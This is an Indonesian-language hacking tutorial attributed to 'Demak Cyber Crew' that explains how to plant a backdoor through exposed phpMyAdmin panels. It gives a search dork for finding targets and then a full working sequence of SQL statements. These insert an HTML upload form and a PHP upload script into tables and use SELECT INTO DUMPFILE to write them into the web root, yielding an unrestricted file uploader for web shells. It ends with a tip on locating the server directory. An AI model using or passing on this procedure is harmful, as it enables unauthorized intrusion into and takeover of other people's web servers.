Cara Upload Shell/Backdoor Via PhpMyadmin By DCC

Dorks : allinurl:index.php?db=information_schema



CREATE TABLE `DB NAME`.`userform` (
`track1` VARCHAR( 1000 ) NOT NULL
) ENGINE = MYISAM ;







...........................................................
CREATE TABLE `DB NAME`.`user_upload` (
`track2` VARCHAR( 1000 ) NOT NULL
) ENGINE = MYISAM ;
............................................................





insert into userform values ('<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>DCC | Demak Cyber Crew</title>
</head>
<body bgcolor="white">
<div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;
">&gt;&gt;  &nbsp; DCC | Demak Cyber Crew Upload Your file </div>
<div style="padding-top:75px;margin-left:450px;width:340px; height:70px;">
<form enctype="multipart/form-data" action="upload.php" method="post">
<input name="userfile" type="file" />&nbsp;
<input type="submit" value="Upload" />
</form>
</div>
</body>
</html>');


......................................................................

select * into dumpfile '/opt/lampp/htdocs/filename.php' from userform
.......................................................................












INSERT INTO user_upload
VALUES (
"<?php $uploaddir = '/opt/lampp/htdocs/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if

(move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)) { print '<body bgcolor=#000></br></br><div

align=center><font size=5 color=#ff0000>Demak Cyber Crew | uploaded successfully</font></body>'; } else { print '<body

bgcolor=#000></br></br><div align=center><font size=5 color=#ff0000Demak Cyber Crew| Error !
</font> <marquee> Demak Cyber Crew</marquee> </body>'; } ?> "
)




........................................................................
select * into dumpfile '/opt/lampp/htdocs/upload.php' from user_upload
........................................................................




NB: /opt/lampp/htdocs/ ... itu adalah direktori dari web server, jadi disesuaikan sendiri untuk mengetahui direktorinya silahkan ketikkan perintah di SQL : SELECT@@datadir